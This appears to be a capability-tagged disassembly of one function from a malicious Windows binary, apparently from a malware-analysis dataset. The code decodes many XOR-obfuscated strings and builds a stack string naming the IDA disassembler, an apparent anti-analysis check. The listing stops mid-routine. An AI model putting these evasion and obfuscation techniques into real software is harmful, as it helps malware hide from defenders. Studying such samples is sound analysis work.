Function at 0x1400e44c0
Capabilities:
Access peb ldr_data
Contain obfuscated stackstrings
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x20f0]
mov eax, 0x21f0
call fcn.1402b0970
sub rsp, rax
mov rax, qword [0x14041d0c0]
xor rax, rsp
mov qword [rbp + 0x20e0], rax
lea rcx, [0x1404b6ad4]
call fcn.1402b13b0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x20b0], xmm0
mov qword [rbp + 0x20c0], rax
lea rcx, [rbp - 0x1d]
call fcn.14005c370
mov r15, rax
lea rdx, [rbp + 0x3b0]
lea rcx, [rbp - 0x1c]
call fcn.1400e8600
mov r14, rax
xor edi, edi
nop
mov rdx, rdi
lea rcx, [r14 + 1]
call fcn.140059ad0
movzx edx, byte [rax]
mov rcx, r14
call fcn.1400ee7a0
movzx ebx, al
mov rdx, rdi
lea rcx, [r14 + 1]
call fcn.140059ad0
mov byte [rax], bl
inc rdi
cmp rdi, 0xb
jb 0x1400e4540
mov edx, ntohl
lea rcx, [r14 + 1]
call fcn.140059ad0
mov byte [rax], 0
lea rcx, [r14 + 1]
call fcn.140059ab0
mov rdx, rax
lea rcx, [rbp + 0x11d0]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x9d0]
lea rcx, [rsp + 0x40]
call fcn.1400e8640
mov r14, rax
xor edi, edi
mov rdx, rdi
lea rcx, [r14 + 1]
call fcn.140059ad0
movzx edx, byte [rax]
mov rcx, r14
call fcn.1400ee7a0
movzx ebx, al
mov rdx, rdi
lea rcx, [r14 + 1]
call fcn.140059ad0
mov byte [rax], bl
inc rdi
cmp rdi, 0x11
jb 0x1400e45b1
mov edx, reloc.WS2_32.dll_recvfrom
lea rcx, [r14 + 1]
call fcn.140059ad0
mov byte [rax], 0
lea rcx, [r14 + 1]
call fcn.140059ab0
mov rdx, rax
lea rcx, [rbp + 0x11f0]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x5b0]
lea rcx, [rsp + 0x41]
call fcn.1400e8690
mov r14, rax
xor edi, edi
mov rdx, rdi
lea rcx, [r14 + 1]
call fcn.140059ad0
movzx edx, byte [rax]
mov rcx, r14
call fcn.1400ee7a0
movzx ebx, al
mov rdx, rdi
lea rcx, [r14 + 1]
call fcn.140059ad0
mov byte [rax], bl
inc rdi
cmp rdi, 0xe
jb 0x1400e4622
mov edx, reloc.WS2_32.dll_ntohl
lea rcx, [r14 + 1]
call fcn.140059ad0
mov byte [rax], 0
lea rcx, [r14 + 1]
call fcn.140059ab0
mov rdx, rax
lea rcx, [rbp + 0x1210]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x590]
lea rcx, [rsp + 0x42]
call fcn.1400e86d0
mov r14, rax
xor edi, edi
mov rdx, rdi
lea rcx, [r14 + 1]
call fcn.140059ad0
movzx edx, byte [rax]
mov rcx, r14
call fcn.1400ee7a0
movzx ebx, al
mov rdx, rdi
lea rcx, [r14 + 1]
call fcn.140059ad0
mov byte [rax], bl
inc rdi
cmp rdi, 0xd
jb 0x1400e4693
mov edx, reloc.WS2_32.dll_listen
lea rcx, [r14 + 1]
call fcn.140059ad0
mov byte [rax], 0
lea rcx, [r14 + 1]
call fcn.140059ab0
mov rdx, rax
lea rcx, [rbp + 0x1230]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x280]
lea rcx, [rsp + 0x43]
call fcn.1400e8710
movzx edx, byte [rax]
xor byte [rax + 1], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
mov byte [rax + 0xc], 0
lea rdx, [rax + 1]
lea rcx, [rbp + 0x1250]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x440]
lea rcx, [rsp + 0x44]
call fcn.1400e8750
movzx edx, byte [rax]
xor byte [rax + 1], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
mov byte [rax + 0xd], 0
lea rdx, [rax + 1]
lea rcx, [rbp + 0x1270]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x4e0]
lea rcx, [rsp + 0x45]
call fcn.1400e8790
movzx edx, byte [rax]
xor byte [rax + 1], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
xor byte [rax + 0xd], dl
mov byte [rax + 0xe], 0
lea rdx, [rax + 1]
lea rcx, [rbp + 0x1290]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x290]
lea rcx, [rsp + 0x46]
call fcn.1400e87d0
movzx edx, byte [rax]
xor byte [rax + 1], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
mov byte [rax + 0xc], 0
lea rdx, [rax + 1]
lea rcx, [rbp + 0x12b0]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x2a0]
lea rcx, [rsp + 0x47]
call fcn.1400e8810
movzx edx, byte [rax]
xor byte [rax + 1], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
mov byte [rax + 0xc], 0
lea rdx, [rax + 1]
lea rcx, [rbp + 0x12d0]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x150]
lea rcx, [rsp + 0x48]
call fcn.1400e8850
movzx edx, byte [rax]
xor byte [rax + 1], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
mov byte [rax + 0xb], 0
lea rdx, [rax + 1]
lea rcx, [rbp + 0x12f0]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x2b0]
lea rcx, [rsp + 0x49]
call fcn.1400e8890
movzx edx, byte [rax]
xor byte [rax + 1], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
mov byte [rax + 0xc], 0
lea rdx, [rax + 1]
lea rcx, [rbp + 0x1310]
call fcn.140046ed0
nop
lea rdx, [rbp + 0xa90]
lea rcx, [rsp + 0x4a]
call fcn.1400e88d0
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rax + 0xe], r8b
xor byte [rax + 0xf], r8b
xor byte [rax + 0x10], r8b
xor byte [rax + 0x11], r8b
xor byte [rax + 0x12], r8b
xor byte [rax + 0x13], r8b
xor byte [rdx + 0x13], r8b
mov byte [rdx + 0x14], 0
lea rcx, [rbp + 0x1330]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x4f0]
lea rcx, [rsp + 0x4b]
call fcn.1400e8920
movzx edx, byte [rax]
xor byte [rax + 1], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
xor byte [rax + 0xd], dl
mov byte [rax + 0xe], 0
lea rdx, [rax + 1]
lea rcx, [rbp + 0x1350]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x2c0]
lea rcx, [rsp + 0x4c]
call fcn.1400e8960
movzx edx, byte [rax]
xor byte [rax + 1], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
mov byte [rax + 0xc], 0
lea rdx, [rax + 1]
lea rcx, [rbp + 0x1370]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x8e0]
lea rcx, [rsp + 0x4d]
call fcn.1400e89a0
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rax + 0xe], r8b
xor byte [rax + 0xf], r8b
xor byte [rdx + 0xf], r8b
mov byte [rdx + 0x10], 0
lea rcx, [rbp + 0x1390]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x500]
lea rcx, [rsp + 0x4e]
call fcn.1400e89e0
movzx edx, byte [rax]
xor byte [rax + 1], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
xor byte [rax + 0xd], dl
mov byte [rax + 0xe], 0
lea rdx, [rax + 1]
lea rcx, [rbp + 0x13b0]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x2d0]
lea rcx, [rsp + 0x4f]
call fcn.1400e8a20
movzx edx, byte [rax]
xor byte [rax + 1], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
mov byte [rax + 0xc], 0
lea rdx, [rax + 1]
lea rcx, [rbp + 0x13d0]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x160]
lea rcx, [rsp + 0x50]
call fcn.1400e8a60
movzx edx, byte [rax]
xor byte [rax + 1], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
mov byte [rax + 0xb], 0
lea rdx, [rax + 1]
lea rcx, [rbp + 0x13f0]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x8f8]
lea rcx, [rsp + 0x51]
call fcn.1400e8aa0
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rax + 0xe], r8b
xor byte [rax + 0xf], r8b
xor byte [rdx + 0xf], r8b
mov byte [rdx + 0x10], 0
lea rcx, [rbp + 0x1410]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x9e8]
lea rcx, [rsp + 0x52]
call fcn.1400e8ae0
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rax + 0xe], r8b
xor byte [rax + 0xf], r8b
xor byte [rax + 0x10], r8b
xor byte [rdx + 0x10], r8b
mov byte [rdx + 0x11], 0
lea rcx, [rbp + 0x1430]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x820]
lea rcx, [rsp + 0x53]
call fcn.1400e8b30
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rax + 0xe], r8b
xor byte [rdx + 0xe], r8b
mov byte [rdx + 0xf], 0
lea rcx, [rbp + 0x1450]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x510]
lea rcx, [rsp + 0x54]
call fcn.1400e8b70
movzx edx, byte [rax]
xor byte [rax + 1], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
xor byte [rax + 0xd], dl
mov byte [rax + 0xe], 0
lea rdx, [rax + 1]
lea rcx, [rbp + 0x1470]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x270]
lea rcx, [rsp + 0x55]
call fcn.1400e8bb0
movzx edx, byte [rax]
xor byte [rax + 1], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
mov byte [rax + 0xb], 0
lea rdx, [rax + 1]
lea rcx, [rbp + 0x1490]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x910]
lea rcx, [rsp + 0x56]
call fcn.1400e8bf0
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rax + 0xe], r8b
xor byte [rax + 0xf], r8b
xor byte [rax + 0x10], r8b
xor byte [rdx + 0x10], r8b
mov byte [rdx + 0x11], 0
lea rcx, [rbp + 0x14b0]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x2e0]
lea rcx, [rsp + 0x57]
call fcn.1400e8c40
movzx edx, byte [rax]
xor byte [rax + 1], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
mov byte [rax + 0xc], 0
lea rdx, [rax + 1]
lea rcx, [rbp + 0x14d0]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x850]
lea rcx, [rsp + 0x58]
call fcn.1400e8c80
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rax + 0xe], r8b
xor byte [rax + 0xf], r8b
xor byte [rdx + 0xf], r8b
mov byte [rdx + 0x10], 0
lea rcx, [rbp + 0x14f0]
call fcn.140046ed0
nop
lea rdx, [rbp + 0xf0]
lea rcx, [rsp + 0x59]
call fcn.1400e8cc0
movzx edx, byte [rax]
xor byte [rax + 1], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
mov byte [rax + 0xa], 0
lea rdx, [rax + 1]
lea rcx, [rbp + 0x1510]
call fcn.140046ed0
nop
mov dword [rsp + 0x20], 0x61646936
mov dword [rsp + 0x24], 0x6578652e
mov byte [rsp + 0x28], 0
lea rdx, [rsp + 0x21]
lea rcx, [rbp + 0x1530]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x170]
lea rcx, [rsp + 0x5a]
call fcn.1400e8d00
movzx edx, byte [rax]
xor byte [rax + 1], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
mov byte [rax + 0xb], 0
lea rdx, [rax + 1]
lea rcx, [rbp + 0x1550]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x3d0]
lea rcx, [rsp + 0x5b]
call fcn.1400e8d40
movzx edx, byte [rax]
xor byte [rax + 1], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
mov byte [rax + 0xd], 0
lea rdx, [rax + 1]
lea rcx, [rbp + 0x1570]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x5c0]
lea rcx, [rsp + 0x5c]
call fcn.1400e8d80
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rdx + 0xd], r8b
mov byte [rdx + 0xe], 0
lea rcx, [rbp + 0x1590]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x5d0]
lea rcx, [rsp + 0x5d]
call fcn.1400e8dc0
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rdx + 0xd], r8b
mov byte [rdx + 0xe], 0
lea rcx, [rbp + 0x15b0]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x3e0]
lea rcx, [rsp + 0x5e]
call fcn.1400e8e00
movzx edx, byte [rax]
xor byte [rax + 1], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
mov byte [rax + 0xd], 0
lea rdx, [rax + 1]
lea rcx, [rbp + 0x15d0]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x838]
lea rcx, [rsp + 0x5f]
call fcn.1400e8e40
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rax + 0xe], r8b
xor byte [rdx + 0xe], r8b
mov byte [rdx + 0xf], 0
lea rcx, [rbp + 0x15f0]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x3f0]
lea rcx, [rsp + 0x60]
call fcn.1400e8e80
movzx edx, byte [rax]
xor byte [rax + 1], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
mov byte [rax + 0xd], 0
lea rdx, [rax + 1]
lea rcx, [rbp + 0x1610]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x730]
lea rcx, [rsp + 0x61]
call fcn.1400e8ec0
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rax + 0xe], r8b
xor byte [rdx + 0xe], r8b
mov byte [rdx + 0xf], 0
lea rcx, [rbp + 0x1630]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x180]
lea rcx, [rsp + 0x62]
call fcn.1400e8f00
movzx edx, byte [rax]
xor byte [rax + 1], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
mov byte [rax + 0xb], 0
lea rdx, [rax + 1]
lea rcx, [rbp + 0x1650]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x2f0]
lea rcx, [rsp + 0x63]
call fcn.1400e8f40
movzx edx, byte [rax]
xor byte [rax + 1], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
mov byte [rax + 0xc], 0
lea rdx, [rax + 1]
lea rcx, [rbp + 0x1670]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x868]
lea rcx, [rsp + 0x64]
call fcn.1400e8f80
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rax + 0xe], r8b
xor byte [rax + 0xf], r8b
xor byte [rdx + 0xf], r8b
mov byte [rdx + 0x10], 0
lea rcx, [rbp + 0x1690]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x400]
lea rcx, [rsp + 0x65]
call fcn.1400e8fc0
movzx edx, byte [rax]
xor byte [rax + 1], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
mov byte [rax + 0xd], 0
lea rdx, [rax + 1]
lea rcx, [rbp + 0x16b0]
call fcn.140046ed0
nop
lea rdx, [rbp + 0x100]
lea rcx, [rsp + 0x66]
call fcn.1400e9000
movzx edx, byte [rax]
xor byte [rax + 1], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
mov byte [rax + 0xa], 0
lea rdx, [rax + 1]
lea rcx, [rbp + 0x16d0]
call fcn.140046ed0
nop
lea rdx, [rbp + 0xaa8]
lea rcx, [rsp + 0x67]
call fcn.1400e9040
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rax + 0xe], r8b
xor byte [rax + 0xf], r8b
xor byte [rax + 0x10], r8b
xor byte [rax + 0x11], r8b
xor byte [rax + 0x12], r8b
xor byte [rax + 0x13], r8b
xor byte [rdx + 0x13], r8b
mov byte [rdx + 0x14], 0
lea rcx, [rbp + 0x16f0]
call fcn.140046ed0
nop
lea rdx, [rbp + 0xad8]
lea rcx, [rsp + 0x68]
call fcn.1400e9090
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rax + 0xe], r8b
xor byte [rax + 0xf], r8b
xor byte [rax + 0x10], r8b
xor byte [rax + 0x11], r8b
xor byte [rax + 0x12], r8b
xor byte [rax + 0x13], r8b
xor byte [rax + 0x14], r8b
xor byte [rax + 0x15], r8b
xor byte [rdx + 0x15], r8b
mov byte [rdx + 0x16], 0
lea rcx, [rbp + 0x1710]
call fcn.140046ed0
nop
lea rdx, [rbp + 0xaf0]
lea rcx, [rsp + 0x69]
call fcn.1400e90e0
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rax + 0xe], r8b
xor byte [rax + 0xf], r8b
xor byte [rax + 0x10], r8b
xor byte [rax + 0x11], r8b
xor byte [rax + 0x12], r8b
xor byte [rax + 0x13], r8b
xor byte [rax + 0x14], r8b
xor byte [rax + 0x15], r8b
xor byte [rdx + 0x15], r8b
mov byte [rdx + 0x16], 0
lea rcx, [rbp + 0x1730]
call fcn.140046ed0
nop
lea rdx, [rbp + 0xa48]
lea rcx, [rsp + 0x6a]
call fcn.1400e9130
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rax + 0xe], r8b
xor byte [rax + 0xf], r8b
xor byte [rax + 0x10], r8b
xor byte [rax + 0x11], r8b
xor byte [rax + 0x12], r8b
xor byte [rdx + 0x12], r8b
mov byte [rdx + 0x13], 0
